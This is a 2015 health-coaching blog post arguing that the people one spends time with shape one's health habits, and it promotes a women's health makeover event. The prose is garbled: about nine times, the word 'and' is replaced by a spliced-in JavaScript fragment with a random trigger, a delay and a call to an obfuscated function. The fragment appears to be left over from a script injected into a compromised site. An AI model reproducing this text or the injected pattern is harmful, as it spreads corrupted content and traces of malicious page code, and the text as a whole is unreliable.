The Most Crucial Step To Any Health Plan

Posted On : September 21, 2015

drmindy“You are the Average of the 5 People You Spend the Most Time With!” -Jim Rohn

If the 5 people you spend the most time with, eat horrible, don’t work out, are unhealthy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and negative, how WILL you EVER stay positive andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do whatever you can to get healthy?

If there is an area in your life you want to take to the next level, you need to find people that have EXACTLY what you want andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and start spending time with them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and quit spending so much time with the people pulling you away from what you want.

Sometimes you have to spend time with just YOU andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fix YOU first andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and then you will begin to attract the right people into your life.

Success Leaves Clues!

Want better health? Starting hanging around people who are making health a priority. Watch what they do. How do they order when they go to a restaurant? How do they fit a workout into their crazy busy lifestyle? Where do they shop for their groceries? What habits do they have in place that allow them to succeed at health. Start asking questions, watch their routines, ask for their help.

Take a moment today to identify those people in your life that will support you in your positive health choices. Reach out to them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and let them know you need help andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and support.

The fastest path to a healthy life is to make health a priority, create a plan, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and surround yourself with supportive people. Join us for our Women’s Health Makeover October 17th from 10-1. I will walk you through a 30 day health plan to lose lose weight, prevent disease, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feeling the best you have felt in years.